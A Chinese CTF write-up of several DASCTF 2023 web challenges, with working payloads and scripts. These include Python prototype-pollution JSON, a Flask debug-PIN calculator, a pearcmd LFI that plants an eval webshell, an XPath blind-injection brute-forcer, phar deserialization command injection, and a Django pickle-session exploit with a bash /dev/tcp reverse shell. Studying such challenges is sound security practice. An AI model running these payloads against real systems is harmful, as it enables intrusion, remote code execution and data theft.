EzFlask
import uuid
from flask import Flask, request, session
from secret import black_list
import json
app = Flask(__name__)
app.secret_key = str(uuid.uuid4())
def check(data):
for i in black_list:
if i in data:
return False
return True
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class user():
def __init__(self):
self.username = ""
self.password = ""
pass
def check(self, data):
if self.username == data['username'] and self.password == data['password']:
return True
return False
Users = []
@app.route('/register',methods=['POST'])
def register():
if request.data:
try:
if not check(request.data):
return "Register Failed"
data = json.loads(request.data)
if "username" not in data or "password" not in data:
return "Register Failed"
User = user()
merge(data, User)
Users.append(User)
except Exception:
return "Register Failed"
return "Register Success"
else:
return "Register Failed"
@app.route('/login',methods=['POST'])
def login():
if request.data:
try:
data = json.loads(request.data)
if "username" not in data or "password" not in data:
return "Login Failed"
for user in Users:
if user.check(data):
session["username"] = data["username"]
return "Login Success"
except Exception:
return "Login Failed"
return "Login Failed"
@app.route('/',methods=['GET'])
def index():
return open(__file__, "r").read()
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5010)
代码解释:
- 导入所需模块:
uuid
:用于生成Flask应用程序的随机密钥。Flask
、request
和session
来自flask
包:这些模块用于创建Web应用程序、处理HTTP请求和管理用户会话。secret
中的black_list
:假设black_list
包含敏感词汇列表。
- 设置Flask应用程序和密钥:
- 创建一个Flask应用程序对象,并为其设置一个随机生成的密钥,这个密钥用于保护会话数据的安全性。
- 定义一些辅助函数:
check(data)
: 用于检查传入的数据是否包含在black_list
敏感词汇列表中。merge(src, dst)
: 用于合并两个字典对象,将src
字典中的内容合并到dst
字典中。
- 定义一个
user
类:
- 该类包含了
username
和password
属性,并有一个check
方法,用于检查用户输入的数据是否与当前实例的用户名和密码匹配。
- 创建一个空的
Users
列表,用于存储注册的用户信息。- 定义了三个路由(route):
/register
:处理用户注册的POST请求。/login
:处理用户登录的POST请求。/
:处理GET请求,用于显示当前代码文件的内容。
/register
路由的处理函数:
- 从POST请求中获取数据,并检查是否包含在敏感词汇列表中。若存在敏感词汇,则注册失败。
- 将接收到的数据转换为JSON格式,并确保数据中包含
username
和password
字段,否则注册失败。- 创建一个新的
user
对象,并将请求中的数据合并到该对象中。- 将该用户对象添加到
Users
列表中,完成注册。
/login
路由的处理函数:
- 从POST请求中获取数据,并确保数据中包含
username
和password
字段。- 遍历
Users
列表中的用户对象,使用user.check(data)
方法检查用户输入的数据是否与任何已注册用户的用户名和密码匹配。- 若匹配成功,则将
username
存储到会话(session
)中,并返回"Login Success",表示登录成功。
/
路由的处理函数:
- 处理GET请求,将当前代码文件的内容返回给请求者。
这道题现学Python原型链污染
具体可看Article_kelp师傅:Python原型链污染变体(prototype-pollution-in-python)
有两种非预期解
第一种,通过file属性直接读取环境变量
__file__是从中加载模块的文件的路径名(如果它是从文件加载的)。__file__对于静态链接到解释器的C模块,该属性不存在。对于从共享库动态加载的扩展模块,它是共享库文件的路径名。
在您的情况下,模块正在__file__全局名称空间中访问其自己的属性。
因为__init__
被ban了,所以可以利用全局变量直接使file
为存储环境变量的文件
payload:
{
"username":"aaa",
"password":"bbb",
"__class__":{
"check":{
"__globals__":{
"__file__" : "/proc/1/environ"
}
}
}
}
通过/
路由可以看出,该路由直接通过__file__
属性来读取文件并进行输出,所以直接访问就可以了
第二种,static静态目录污染
_static_url_path
这个属性中存放的是
flask
中静态目录的值,默认该值为static
。访问flask
下的资源可以采用如http://domain/static/xxx
,这样实际上就相当于访问_static_url_path
目录下xxx
的文件并将该文件内容作为响应内容返回
所以我们可以直接构造payload来进行污染,题目过滤掉了__init__
,但是check
之后经历了一次json.loads
,而且json识别unicode
,所以我们可以通过Unicode编码进行绕过
,payload:
{
"__init\u005f_":{
"__globals__":{
"app":{
"_static_folder":"/"
}
}
},
"username":1,
"password":1
}
该payload出自Boogipop师傅:DASCTF 2023 & 0X401 Web WriteUp
构造之后_static_folder
的值就变成根目录了
然后可以读取环境变量来得到flag
预期解:
题目是开启了flask的debug模式,访问console控制台,然后配合任意文件读取来计算PIN码
,最后进行RCE
利用脚本来计算PIN码
PIN码生成六要素
- username:可以在任意文件读取下读取
/etc/password
进行猜测- modname:默认是
flask.app
- appname:默认是
Flask
- moddir flask库下
app.py
的绝对路径
,可以通过报错拿到,如传参的时候给个不存在的变量- uuidnode mac地址的十进制:任意文件读取
/sys/class/net/the0/address
- machine_id:机器码
关于machine_id
如果能任意文件读尝试去读取/usr/local/lib/python3.7/site-packages/werkzeug/debug/__init__.py
上面的python版本可以通过报错拿到,去找里面的get_machine-id方法
可以知道/etc/machine-id
和/proc/sys/kernel/random/boot_id
只要读取到其中一个就break的
然后继续拼接上/proc/self/cgroup
下正则匹配到的值
所以我们可以知道machine_id是两个值拼接的
我们在使用脚本时就要获取这六个值才可以正确计算PIN码
回到该题,先获得username
,利用原型链污染,使__file__
为/etc/passwd
然后访问/
路由,得到username
为root
modname
和appname
都是默认,接下来获取app.py
的绝对路径,可以通过污染,使/
路由指向一个不存在的界面,就可以进入到报错界面
然后通过url再进行访问就可以进入到报错界面,然后得到绝对路径/usr/local/lib/python3.10/site-packages/flask/app.py
接下来去找uuidnode
,通过任意文件来读取/sys/class/net/eth0/address
但是这是十六进制,我们需要把它转化为十进制
得到uuidnode
:173855817367817
,最后去拿到machine_id
就可以计算pin码了
正如所说机器码是由两部分拼接的一部分是/etc/machine-id
和/proc/sys/kernel/random/boot_id
其中一个,另一部分是/proc/self/cgroup
路径下的值
挨个读取,这里读取的是/etc/machine-id
和/proc/self/cgroup
前半部分已经拿到96cec10d3d9307792745ec3b85c89620
,接下来去拿后半部分,通过任意文件读取/proc/self/cgroup
这样就拿到后半部分了,docker-b2878fa684ca3b35c5413ad77ecfb00b2f602e790779fc06da2e2e9a780f8a26.scope
总结一下,六个条件就是
- username:root
- modname:flask.app
- appname:Flask
- moddir:/usr/local/lib/python3.10/site-packages/flask/app.py
- uuidnode:173855817367817
- machine_id:96cec10d3d9307792745ec3b85c89620docker-b2878fa684ca3b35c5413ad77ecfb00b2f602e790779fc06da2e2e9a780f8a26.scope
下面是算PIN码的脚本
import hashlib
from itertools import chain
probably_public_bits = [
'root', #username
'flask.app', #modname
'Flask', #appname
'/usr/local/lib/python3.10/site-packages/flask/app.py' #moddir
]
private_bits = [
'173855817367817', #uuidnode
'96cec10d3d9307792745ec3b85c89620docker-b2878fa684ca3b35c5413ad77ecfb00b2f602e790779fc06da2e2e9a780f8a26.scope'# machine_id
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{
h.hexdigest()[:20]}"
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
h.update(b"pinsalt")
num = f"{
int(h.hexdigest(), 16):09d}"[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
print(rv)
运行得到结果678-582-683
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Hcs9y0kN-1691317008893)(C:\Users\admin\AppData\Roaming\Typora\typora-user-images\image-20230726172309573.png)]
然后访问console
路由进入到flask自带的debug
输入我们计算出来的PIN码进入控制台,进行RCE
ez_cms
这题折磨了我一整个比赛,受不了一点
考察的是pearcmd.php
本地文件包含,和NSSRound #8
的MyPage点是一样的
/admin
路由存在后台,弱口令可以登陆,账号admin
,密码123456
我们要对pearcmd.php
文件进行调用,然后利用pear命令
构造payload:
http://5d85cd1d-f879-4082-a4bf-1bfae8aec2e4.node4.buuoj.cn/admin/index.php?+config-create+/&r=../../../../../../../../../../usr/share/php/pearcmd&/<?=eval($_POST[cmd]);?>+../../../../../../../../tmp/shell.php
然后利用创建的1.php
进行RCE,可以用蚁剑连接,URL
http://5d85cd1d-f879-4082-a4bf-1bfae8aec2e4.node4.buuoj.cn/admin/index.php?r=?r=../../../../../../../../tmp/1
flag在根目录下,或者进行rce
cmd=system("ls /");
得到flag
cmd=system("cat /f*");
这道还存在SQL注入
,XSS
,任意文件下载
。如果知道flag文件名可以直接下载flag
MyPicDisk
dirsearch扫了一下什么也没有,burp抓包也得不到什么信息
存在登录界面,试试万能密码,但是用户名需要是admin
有点奇怪,虽然能登录上去了但是不太理解
但是可以通过上面的请求头看出,是可以发送xml
数据包,所以可以选择进行XXE盲注
然后得到密码
这里用脚本跑一下跑出密码
import requests
import time
url ='http://bc385a83-ddb5-4347-920d-19c0e0e4fac0.node4.buuoj.cn:81/index.php'
strs ='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'
flag =''
for i in range(1,100):
for j in strs:
#猜测根节点名称
# payload_1 = {"username":"<username>'or substring(name(/*[1]), {}, 1)='{}' or ''='</username><password>3123</password>".format(i,j),"password":123}
#猜测子节点名称
# payload_2 = "<username>'or substring(name(/root/*[1]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
#猜测accounts的节点
# payload_3 ="<username>'or substring(name(/root/accounts/*[1]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
#猜测user节点
# payload_4 ="<username>'or substring(name(/root/accounts/user/*[2]), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
#跑用户名和密码
# payload_username ="<username>'or substring(/accounts/user[1]/username/text(), {}, 1)='{}' or ''='".format(i,j)
payload_username ="<username>'or substring(/accounts/user[1]/password/text(), {}, 1)='{}' or ''='".format(i,j)
data={
"username":payload_username,
"password":123,
"submit":"1"
}
#
# payload_password ="<username>'or substring(/root/accounts/user[2]/password/text(), {}, 1)='{}' or ''='</username><password>3123</password><token>{}</token>".format(i,j,token[0])
#print(payload_username)
r = requests.post(url=url,data=data)
time.sleep(0.1)
# print(r.text)
#003d7628772d6b57fec5f30ccbc82be1
if "登录成功" in r.text:
flag+=j
print(flag)
break
if "登录失败" in r.text:
break
print(flag)
得到密码:003d7628772d6b57fec5f30ccbc82be1
,然后md5解密一下得到密码15035371139
,账号是admin
,然后登录
登陆之后界面如下
可以看到有hint,/y0u_cant_find_1t.zip
,现在解压后得到/index.php
的源码
<?php
session_start();
error_reporting(0);
class FILE{
public $filename;
public $lasttime;
public $size;
public function __construct($filename){
if (preg_match("/\//i", $filename)){
throw new Error("hacker!");
}
$num = substr_count($filename, ".");
if ($num != 1){
throw new Error("hacker!");
}
if (!is_file($filename)){
throw new Error("???");
}
$this->filename = $filename;
$this->size = filesize($filename);
$this->lasttime = filemtime($filename);
}
public function remove(){
unlink($this->filename);
}
public function show()
{
echo "Filename: ". $this->filename. " Last Modified Time: ".$this->lasttime. " Filesize: ".$this->size."<br>";
}
public function __destruct(){
system("ls -all ".$this->filename);
}
}
?>
<?php
if (!isset($_SESSION['user'])){
echo '
<form method="POST">
username:<input type="text" name="username"></p>
password:<input type="password" name="password"></p>
<input type="submit" value="登录" name="submit"></p>
</form>
';
$xml = simplexml_load_file('/tmp/secret.xml');
if($_POST['submit']){
$username=$_POST['username'];
$password=md5($_POST['password']);
$x_query="/accounts/user[username='{
$username}' and password='{
$password}']";
$result = $xml->xpath($x_query);
if(count($result)==0){
echo '登录失败';
}else{
$_SESSION['user'] = $username;
echo "<script>alert('登录成功!');location.href='/index.php';</script>";
}
}
}
else{
if ($_SESSION['user'] !== 'admin') {
echo "<script>alert('you are not admin!!!!!');</script>";
unset($_SESSION['user']);
echo "<script>location.href='/index.php';</script>";
}
echo "<!-- /y0u_cant_find_1t.zip -->";
if (!$_GET['file']) {
foreach (scandir(".") as $filename) {
if (preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
echo "<a href='index.php/?file=" . $filename . "'>" . $filename . "</a><br>";
}
}
echo '
<form action="index.php" method="post" enctype="multipart/form-data">
选择图片:<input type="file" name="file" id="">
<input type="submit" value="上传"></form>
';
if ($_FILES['file']) {
$filename = $_FILES['file']['name'];
if (!preg_match("/.(jpg|jpeg|gif|png|bmp)$/i", $filename)) {
die("hacker!");
}
if (move_uploaded_file($_FILES['file']['tmp_name'], $filename)) {
echo "<script>alert('图片上传成功!');location.href='/index.php';</script>";
} else {
die('failed');
}
}
}
else{
$filename = $_GET['file'];
if ($_GET['todo'] === "md5"){
echo md5_file($filename);
}
else {
$file = new FILE($filename);
if ($_GET['todo'] !== "remove" && $_GET['todo'] !== "show") {
echo "<img src='../" . $filename . "'><br>";
echo "<a href='../index.php/?file=" . $filename . "&&todo=remove'>remove</a><br>";
echo "<a href='../index.php/?file=" . $filename . "&&todo=show'>show</a><br>";
} else if ($_GET['todo'] === "remove") {
$file->remove();
echo "<script>alert('图片已删除!');location.href='/index.php';</script>";
} else if ($_GET['todo'] === "show") {
$file->show();
}
}
}
}
?>
代码解释:
- 首先,代码开启了Session会话,并设置错误报告级别为0(即不显示错误信息)。
- 接下来,定义了一个名为
FILE
的类,用于处理图片文件的相关操作。这个类有以下成员属性和方法:
- 属性:
filename
: 存储图片文件名。lasttime
: 存储图片文件的最后修改时间。size
: 存储图片文件的大小。- 方法:
__construct()
: 构造函数,用于初始化对象。它会进行一些安全性检查,比如检查文件名是否包含斜杠(/
),是否包含多个点(.
),以及是否是一个有效的文件。如果不满足条件,会抛出Error
异常。remove()
: 删除图片文件的方法,使用unlink()
函数。show()
: 显示图片信息的方法,输出文件名、最后修改时间和大小。__destruct()
: 析构函数,在对象销毁时会执行,这里使用system()
函数执行了一个命令ls -all
,显示了图片文件的详细信息。
- 然后,代码检查用户是否已经登录(通过Session判断)。如果没有登录,则显示登录表单,并验证用户的登录信息,信息验证使用了一个XML文件
secret.xml
。如果验证成功,则将用户名存入Session,并跳转到/index.php
页面。- 如果用户已登录,且为管理员账户(用户名为"admin"),则显示上传图片的功能,以及当前目录下的所有图片文件列表。用户可以点击图片文件的链接进行操作,支持"remove"(删除图片)和"show"(显示图片信息)。还支持"md5"参数,用于显示图片文件的MD5哈希值。
- 图片上传的功能使用了
<form>
标签和enctype="multipart/form-data"
属性,当用户上传图片时,代码会检查文件类型是否为jpg、jpeg、gif、png或bmp,并将图片保存在当前目录中。- 代码从通过GET方式获取
file
和todo
参数的值,这些参数是由用户点击图片链接时附带在URL中的。- 如果
todo
的值是"md5",则执行md5_file()
函数来计算指定文件的MD5哈希值,并将其输出到页面。- 否则,根据
todo
的值创建一个FILE
对象来处理图片文件。这里的FILE
类之前已经定义过,用于处理图片文件的基本操作。- 如果
todo
的值不是"remove"和"show",则表示用户点击了图片文件的链接,代码会输出图片的预览和两个链接:一个用于删除图片(todo=remove),另一个用于显示图片信息(todo=show)。- 如果
todo
的值是"remove",则调用$file->remove()
方法来删除图片文件,并通过JavaScript弹出提示框,然后重定向到主页/index.php
。- 如果
todo
的值是"show",则调用$file->show()
方法来显示图片的详细信息。
源码部分有三处关键点
-
文件上传处对文件名有类型校验
-
FILE这个类里存在命令拼接可以进行RCE,但对拼接参数存在黑名单校验
-
当传入的todo参数为md5时,会调用md5_file 函数
方法一:
通过md5_file作为phar反序列化的入口来打,而对于FILE里对于filename参数的黑名单,这里采用base64编码+输出流重定向绕过
对于不是XXE盲注得到密码登录而是通过万能密码登入的话,由于登录的账户不是admin,每执行一次操作,session就会销毁一次,所以在每次操作之前,都要把登录的包重新发一遍,重置session
用来生成phar包的脚本如下,生成之后把后缀改成jpg上传
<?php
class FILE{
public $filename=";echo Y2F0IC9hZGphc2tkaG5hc2tfZmxhZ19pc19oZXJlX2Rha2pkbm1zYWtqbmZrc2Q=|base64 -d|bash -i>4.txt";
#这里base64编码命令为:cat /adjaskdhnask_flag_is_here_dakjdnmsakjnfksd
public $lasttime;
public $size;
public function remove(){
unlink($this->filename);
}
public function show()
{
echo "Filename: ". $this->filename. " Last Modified Time: ".$this->lasttime. " Filesize: ".$this->size."<br>";
}
}
#获取phar包
$phar = new Phar("abc.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new FILE();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>
该脚本生成的文件作用就是将执行命令后得到的文件内容输出到4.txt
里去,可以视情况修改
方法二:
这个方法就是不通过base64,直接通过phar反序列化
生成一个可执行命令的文件然后将结果输出到回显界面
生成phar包的脚本如下
<?php
class FILE{
public $filename;
public $lasttime;
public $size;
public function __construct($filename){
$this->filename = $filename;
}
}
$a = new FILE("/;ls /");
$phartest=new phar('phartest.phar',0);
$phartest->startBuffering();
$phartest->setMetadata($a);
$phartest->setStub("<?php __HALT_COMPILER();?>");
$phartest->addFromString("test.txt","test");
$phartest->stopBuffering()
?>
上传我们生成的文件,通过burp抓包使文件后缀名变为.jpg
然后通过phar协议进行访问,payload:
http://3867c331-be50-486e-911f-5384704761cf.node4.buuoj.cn:81/index.php/?file=phar://1.jpg&todo=md5
可以看到已经成功扫描根目录了,flag在adjaskdhnask_flag_is_here_dakjdnmsakjnfksd
文件中,修改上面脚本的内容重新生成一个phar文件,命令是cat /adjaskdhnask_flag_is_here_dakjdnmsakjnfksd
就可以读取flag
方法三:
命令拼贴注入
只需要在上传的文件名进行字符串拼贴即可。但是由于filename
的黑名单,所以我们需要经过base64编码
这里靶机一直打不开,每日一骂BUU
靶机好了,上传文件然后抓包,将文件名改为;echo bHMgLw==|base64 -d|bash;test.png
然后去访问该文件,可以看到成功回显扫描目录的结果
修改命令,使base命令为cat /adjaskdhnask_flag_is_here_dakjdnmsakjnfksd
,payload:
filename=";echo Y2F0IC9hZGphc2tkaG5hc2tfZmxhZ19pc19oZXJlX2Rha2pkbm1zYWtqbmZrc2Q=|base64 -d|bash;test.png"
访问后得到flag
ez_py
题目直接给了我们源码
重要的就是setting.py
"""
Django settings for openlug project.
Generated by 'django-admin startproject' using Django 2.2.5.
For more information on this file, see
https://docs.djangoproject.com/en/2.2/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/2.2/ref/settings/
"""
import os
# Build paths inside the project like this: os.path.join(BASE_DIR, ...)
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/en/2.2/howto/deployment/checklist/
# SECURITY WARNING: keep the secret key used in production non-secret!
SECRET_KEY = 'p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn'
# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = False
ALLOWED_HOSTS = ["*"]
# Application definition
INSTALLED_APPS = [
# 'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
'app'
]
MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
# we're going to be RESTful in the future,
# to prevent inconvenience, just turn csrf off.
# 'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
]
ROOT_URLCONF = 'openlug.urls'
# for database performance
SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'
# use PickleSerializer
SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'
TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': [],
'APP_DIRS': True,
'OPTIONS': {
'context_processors': [
'django.template.context_processors.debug',
'django.template.context_processors.request',
'django.contrib.auth.context_processors.auth',
'django.contrib.messages.context_processors.messages',
],
},
},
]
WSGI_APPLICATION = 'openlug.wsgi.application'
# Database
# https://docs.djangoproject.com/en/2.2/ref/settings/#databases
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3',
'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),
}
}
# Password validation
# https://docs.djangoproject.com/en/2.2/ref/settings/#auth-password-validators
AUTH_PASSWORD_VALIDATORS = [
{
'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
},
]
# Internationalization
# https://docs.djangoproject.com/en/2.2/topics/i18n/
LANGUAGE_CODE = 'zh-Hans'
TIME_ZONE = 'Asia/Shanghai'
USE_I18N = True
USE_L10N = True
USE_TZ = True
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/2.2/howto/static-files/
STATIC_URL = '/static/'
LOGIN_URL = '/'
代码解释
这段代码是一个Django项目的设置文件(settings.py),它包含了配置项目的各种设置,如数据库连接、模板路径、国际化设置等。下面我会逐段解释这些设置的含义:
- 导入模块: 首先,代码导入了Python的
os
模块,这个模块用于处理文件路径和目录。- 基本路径设置:
BASE_DIR
变量指定了项目的基本目录,是通过os.path.abspath(__file__)
获取当前文件(settings.py)的绝对路径,然后通过两次os.path.dirname
去掉文件名和最后的目录名,从而获得项目的根目录。- 密钥设置:
SECRET_KEY
变量是一个用于加密敏感信息的秘密密钥。在生产环境中,应该保证这个密钥的保密性。- 调试设置:
DEBUG
变量决定了是否开启调试模式。在生产环境中应该设置为False
,以保证安全性。- 允许的主机:
ALLOWED_HOSTS
变量指定了允许访问该Django项目的主机名。在这个例子中,使用["*"]
表示允许任何主机访问。在实际生产环境中,应该限制允许的主机。- 已安装的应用:
INSTALLED_APPS
列表包含了项目所使用的Django应用。在这个例子中,除了默认的一些应用外,还添加了名为app
的应用。- 中间件设置:
MIDDLEWARE
列表包含了在请求和响应之间执行的中间件。中间件用于处理请求和响应,执行一些预处理或后处理的任务。- 根URL配置:
ROOT_URLCONF
变量指定了根URL配置文件的路径。在这个例子中,根URL配置文件为openlug.urls
。- 会话引擎设置:
SESSION_ENGINE
和SESSION_SERIALIZER
用于配置会话的存储引擎和序列化方法。- 模板设置:
TEMPLATES
列表定义了Django模板引擎的配置。它指定了模板存放的目录、模板引擎的后端以及上下文处理器。- WSGI应用程序:
WSGI_APPLICATION
变量指定了WSGI应用程序的路径。- 数据库配置:
DATABASES
字典定义了数据库连接的设置。在这个例子中,使用SQLite作为默认数据库,数据库文件存放在项目的根目录中。- 密码验证设置:
AUTH_PASSWORD_VALIDATORS
列表定义了验证用户密码的规则,包括相似性、最小长度、常见密码等。- 国际化设置:
LANGUAGE_CODE
、TIME_ZONE
、USE_I18N
、USE_L10N
和USE_TZ
用于配置国际化和时区设置。- 静态文件设置:
STATIC_URL
定义了静态文件的URL前缀,用于访问CSS、JavaScript等静态资源。- 登录URL设置:
LOGIN_URL
指定了未登录用户尝试访问受保护页面时重定向到的URL。
通过templates
目录下的urls.py
可以看到有四个路由
from django.urls import path
from . import views
urlpatterns = [
path('', views.index_view, name='index'),
path('login', views.login_view, name='login'),
path('auth', views.auth_view, name='auth'),
path('error', views.error_view, name='error')
]
auth路由的代码如下
def auth_view(request, onsuccess='/', onfail='/error'):
username = request.POST["username"]
password = request.POST["password"]
user = authenticate(request, username=username, password=password)
if user is not None:
login(request, user)
return redirect(onsuccess)
else:
return redirect(onfail)
这段代码危险的地方在此处
ROOT_URLCONF = 'openlug.urls'
# for database performance
SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'
# use PickleSerializer
SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'
- ROOT_URLCONF = ‘openlug.urls’: 这个设置定义了项目的根URL配置文件的路径。在Django中,根URL配置文件负责将不同的URL路径映射到相应的视图函数或其他处理逻辑。在这个例子中,根URL配置文件位于
openlug.urls
,也就是项目中的openlug
应用的urls.py
文件。- SESSION_ENGINE = ‘django.contrib.sessions.backends.signed_cookies’: 这个设置指定了Django会话的存储引擎。会话是一种在不同HTTP请求之间存储用户数据的机制。在这里,会话的存储引擎被设置为
signed_cookies
,意味着会话数据将被加密后存储在浏览器的Cookie中。- SESSION_SERIALIZER = ‘django.contrib.sessions.serializers.PickleSerializer’: 这个设置定义了会话数据的序列化方式。在Django中,会话数据需要被序列化以便存储和传输。在这里,会话数据将使用
PickleSerializer
进行序列化,这是Django默认提供的一种序列化方法,它使用Python的pickle
模块将数据序列化为二进制格式。
给了SECRET_KEY、SESSION_SERIALIZER为 PickleSerializer,应该就是利用session 进行pickle反序列化,应该是在auth认证的时候 会对session进行pickle.loads()
所以在这里我们可以看见SESSION_SERIALIZER
是PICKLE
,那么就可以联想到session的pickle反序列化
,而且在源代码中secret_key
也已经给出
SECRET_KEY = 'p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn'
我们可以先构造出exp:
import urllib3
SECRET_KEY = 'p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn'
salt = "django.contrib.sessions.backends.signed_cookies"
import django.core.signing
import pickle
class PickleSerializer(object):
"""
Simple wrapper around pickle to be used in signing.dumps and
signing.loads.
"""
def dumps(self, obj):
return pickle.dumps(obj, pickle.HIGHEST_PROTOCOL)
def loads(self, data):
return pickle.loads(data)
import subprocess
import base64
class Command(object):
def __reduce__(self):
return (subprocess.Popen, (('bash -c "bash -i >& /dev/tcp/ip/port <&1"',),-1,None,None,None,None,None,False, True))
out_cookie= django.core.signing.dumps(
Command(), key=SECRET_KEY, salt=salt, serializer=PickleSerializer)
print(out_cookie)
这里一开始没有弹出来,说是生成payload时的python版本,pickle包版本等等,将版本换成了python3.5
这里一直不能成功反弹shell,也修改了python版本还是不行,放弃了
ez_timing
不复现了,难度太大了,可以去看 n03tAck team
的文章
参考各位师傅的文章如下:
Article_kelp师傅:Python原型链污染变体(prototype-pollution-in-python)
这篇太强了
Boogipop师傅:DASCTF 2023 & 0X401 Web WriteUp
星盟安全团队:DASCTF 2023 & 0X401七月暑期挑战赛 Writeup
n03tAck team:2023DASCTF&0X401 WriteUp
丨Arcueid丨师傅:关于ctf中flask算pin总结
葫芦娃42师傅:DASCTF 2023 & 0X401七月暑期挑战赛web复现